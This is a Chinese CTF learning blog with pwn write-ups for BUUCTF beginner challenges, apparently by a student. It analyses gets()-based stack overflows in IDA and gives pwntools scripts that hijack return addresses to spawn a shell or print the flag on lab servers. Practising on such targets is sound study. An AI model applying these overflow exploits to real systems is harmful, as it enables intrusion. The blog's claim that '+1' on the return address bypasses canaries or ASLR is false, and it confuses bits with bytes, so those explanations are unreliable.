注:可用目录快速导航。

前言

虽然算法题依然重要,但我想玩点CTF以更好提升自己。

前不久我开始探索WEB安全,但遗憾的是我忘记了在我的博客上记录学习的过程。

目前,我更对自己的定位是web&&pwn。

同时,我也希望通过记录自己的学习和挑战过程来培养一种良好的习惯。

以下从buuctf开始。

test_your_nc1

2023-08-23

**1.**操作

一个在搭建好环境后就可以完成的入门题。

启动靶机,打开ubuntu,terminal,直接输入nc去连接

nc node4.buuoj.cn 29757
#端口号按照自己的靶机改

**2.**获取flag

输入ls,看到了flag,输入cat flag,得到flag。

rip1

2023-08-24

**1.**分析:

先把vuln放在ubuntu的桌面,在桌面打开terminal,输入“checksec vuln”来检查它是否受保护。

把vuln在ubuntu中拖入terminal进行玩耍,他会要求输入一些东西,

比如输入一个123试试,感受一下它的交互。

将附件vuln拖入windows的IDA分析,需要注意的函数有:main函数 和 列表中main下面的fun函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

main函数中,我们注意gets函数是一个危险函数,它对字符串的输入是可以无限长,然后溢出的,而溢出正是pwn的主线。

其中s数组是关键,我们点开s进行查看。

-000000000000000F s               db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined

我们会看到这样一段s数组的存储空间,从1到15编号,因此我们需要输入15个字符就可以把数组s填满。

另外,在main的IDA视图开头,我们看到了

push    rbp

说明rbp被先压进去了,我们需要把rbp也填充满。

int fun()
{
return system("/bin/sh");
}

在此函数中,/bin/sh是个经典shell,是我们获取控制权的关键。

分析完毕,开始编写代码

**3.**python脚本的编写

在ubuntu中使用vscode

创建一个文件夹,创建文件1.py

整理后如下:

#使用pwntool工具,*表示调入所有内容。
#在这之前需要安装pwntool包,以下函数基本都是pwntool中的
from pwn import *

#sh链接node4.buuoj.cn:25521靶机。
#注意使用空格使代码美观,增加代码可读性
sh = remote('node4.buuoj.cn',25521)

#负载,b表示使用byte类型,(pwntools一般都是用byte操作)将数组s用15个A
#填充rbp,64位需要8个字符(一个字符8位),32位需要4个字符
payload = b'A' * 15 + b'a' * 8 + p64(0x401186+1)
'''
p64函数表示转化为六十四位byte,而括号里是fun函数的地址(IDA视图有注释)
+1是为了绕过一些安全机制,如栈溢出保护(Stack Canaries)或地址空间布局随机化(ASLR)。

当 ASLR 机制开启时,系统会将函数的地址随机化,使得攻击者很难准确预测函数地址的位置。通过在返回地址中加上一个常数(如 +1),攻击者可以试图绕过随机化,使攻击更加稳定。
'''

#发送函数
sh.sendline(payload)

#暂停并进入交互的函数
sh.interactive()

另外,如果是执着于本地调试,我们可以这样:

from pwn import *

# Connect to the process
r = process('./pwn1')

# Offset calculation
#rbp末尾-(rsp+1),其中rsp+1是参数起始位置。
#RSP代表“注册堆栈指针,RBP代表“注册基指针”。
offset = 0x7fffffffe7a8 - 0x7fffffffe791

# Function address
fun = 0x0000000000401186

# Construct the payload
payload = b'a' * offset + p64(fun)

# Send the payload
r.sendline(payload)

# Interact with the process
r.interactive()

注:

  1. **RSP (Stack Pointer)**:
    • 总是指向栈的顶部。
    • 每次调用函数、压入数据或其他需要使用栈的操作时,RSP都会相应地调整。
    • 例如,每次执行PUSH指令,RSP都会减去所需的字节数(在x86_64中通常是8字节),因为栈在低地址方向上增长。
  2. **RBP (Base Pointer)**:
    • 用作帧指针,在函数调用中,它常常用来作为当前函数的局部变量和参数的基准点。
    • 在函数调用的开头,通常会看到RBP被设置为RSP的当前值,这标志着函数的开始。
    • 使用基指针可以更容易地访问函数的局部变量和参数,因为它们通常都是基于RBP的固定偏移。

**4.**获取flag

输入ls,发现flag,输入cat flag,完成flag的获取。

warmup_csaw_2016 1

20230825

这一题与上一题很像。

1.尝试:

在ubuntu中,checksec,拖入terminal交互尝试,

2.分析:

在windows中,拖入IDA,F5进入main函数伪代码。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}

可以看到,s数组的定义后面标注了rsp是0h开始。

可以突破的点照样是gets(),只不过这次是在return。

点入函数sub_40060D查看,它在控制台执行了输出flag的命令,这肯定是关键。

int sub_40060D()
{
return system("cat flag.txt");
}

注意,这个函数的名称也在代表他的地址:0x40060D。

另外尝试理解这一句,可以问问chatGPT,作用是将sub_40060D的地址写到字符串s。

sprintf(s, "%p\n", sub_40060D);

查看变量v5,

-0000000000000040 var_40          db 64 dup(?)

var_40,可以知道它占位40h,也可以看后面十进制是64位。

另外,var代表variable,多变的,一般表示变量。

3.攻击

ubuntu中打开terminal,输入code,打开vscode。

可以利用上题的代码稍作修改,经典五行。


from pwn import *

sh = remote('node4.buuoj.cn',29678)

#64表示v5占用的空间,8表示rbp在64位中占8位。最后的转到函数sub_40060D的地址。
payload = b'A' * (64 + 8)+ p64(0x40060D)

sh.sendline(payload)

sh.interactive()

输出如下。



>-Warm Up-
>WOW:0x40060d

>>flag{bf2fb88a-c858-488b-ab42-50fe90c44d60}
>>timeout: the monitored command dumped core
>>[*] Got EOF while reading in interactive

ciscn_2019_n_1 1

0825

这次我们省略一些作用不太大的流水线操作,直接进入IDA分析

1.分析函数

IDA打开文件,进入main函数,发现有一个func()函数引起了我们的注意。

在func函数中,我们注意到return system(“cat /flag”);是我们所需要的,

而gets函数正中我们溢出攻击的下怀。

于是思路出现:

使v2变成浮点数11.28125,来执行return system(“cat /flag”);

直接溢出使return system(“cat /flag”);执行

int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

2.分析变量

双击v1,我们会看到

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

注意:在汇编语言中,db 是 “define byte” 的缩写,用于定义一个或多个字节的数据。

dup 是 “duplicate” 的缩写,常用于汇编语言中表示重复某个值多次。

dd 是 “define doubleword” 的缩写。一个doubleword通常表示4字节(或32位)的数据。

问号表示每个字节的值是未指定的。

显示的阴影部分在var_30,而下一个变量v2在var_4位置

即v1数组从30h开始,到4h。

30h-4h=2Bh=44b,刚好是后面的44b。

即,v1占了44位,而v2占了4位。

剩下的“s”即rbp,占8位

“r”为return,占8位。

3.编写脚本

第一种方法:使v2变成浮点数11.28125,来执行return system(“cat /flag”);

填满v1之后就是v2了,直接要求的数字,满足 v2 == 11.28125 的判断式

from pwn import *

sh = remote('node4.buuoj.cn',25580)

payload = b'A' * 44 + p64(0x41348000)
#11.28125=0x41348000

sh.sendline(payload)

sh.interactive()

第二种方法:直接溢出使return system(“cat /flag”);执行

在func函数视图单击空格,会出现

.text:00000000004006BE                 mov     edi, offset command ; "cat /flag"
.text:00000000004006C3 mov eax, 0
.text:00000000004006C8 call _system
.text:00000000004006CD jmp short loc_4006D9

注意此处的00000000004006BE地址,就是我们要的返回地址。

分号后面有一句 “cat /flag”,这是注释,说明执行这一句。

注:

1.在 x86_64 架构中的 calling convention,EDI 寄存器(或其64位版本 RDI)经常用于传递函数的第一个参数。

2.在 x86_64 架构中,当调用某些函数时,EAX 寄存器用于指示要使用的参数数量,特别是变长参数的函数。在这种情境下,这行代码可能是为了告诉系统函数 “_system” 不带额外的参数。

3.call _system调用了system函数,用于执行命令。

4.jmp short loc_4006D9表示调到某地址,我们双击它,可来到

.text:00000000004006D9 loc_4006D9:                             ; CODE XREF: func+57↑j
.text:00000000004006D9 nop
.text:00000000004006DA leave
.text:00000000004006DB retn

这三个指令通常出现在函数的结尾。让我们逐一解释它们的作用:

  1. .text:00000000004006D9 nop

    nop 指令是 “No Operation” 的缩写,意味着它不执行任何操作。它的主要用途是为了代码对齐或在二进制中填充空间。有时,nop 也在调试或分析时被使用,因为你可以安全地替换它而不改变程序的功能。

  2. .text:00000000004006DA leave

    leave 指令是函数结束时常见的指令,它执行两个主要操作:

    • RBP 寄存器的值加载到 RSP 寄存器。这将堆栈指针 RSP 重置为它在函数入口时的位置。
    • 之后,它从堆栈中弹出一个值到 RBP 寄存器。这恢复了调用函数时 RBP 寄存器的原始值。

    总的来说,这实际上是 mov rsp, rbppop rbp 两个指令的组合。

  3. .text:00000000004006DB retn

    retn 指令从堆栈中弹出一个返回地址并跳转到那个地址,这结束了当前的函数调用,程序的控制权返回到调用此函数的代码。在 x86 架构中,retnret 是等价的。

结合起来看,这些指令在函数结束时恢复了原始的堆栈和帧指针,并返回到调用此函数的地方。

python脚本代码如下:

from pwn import *

sh = remote('node4.buuoj.cn',25580)

payload = b'A' * (44 + 4 + 8) + p64(0x4006BE)
'''
按顺序填满v1,v2,rbp,分别为44 , 4 ,8位。

最后把返回地址用0x4006BE覆盖,执行cat /flag
'''

sh.sendline(payload)

sh.interactive()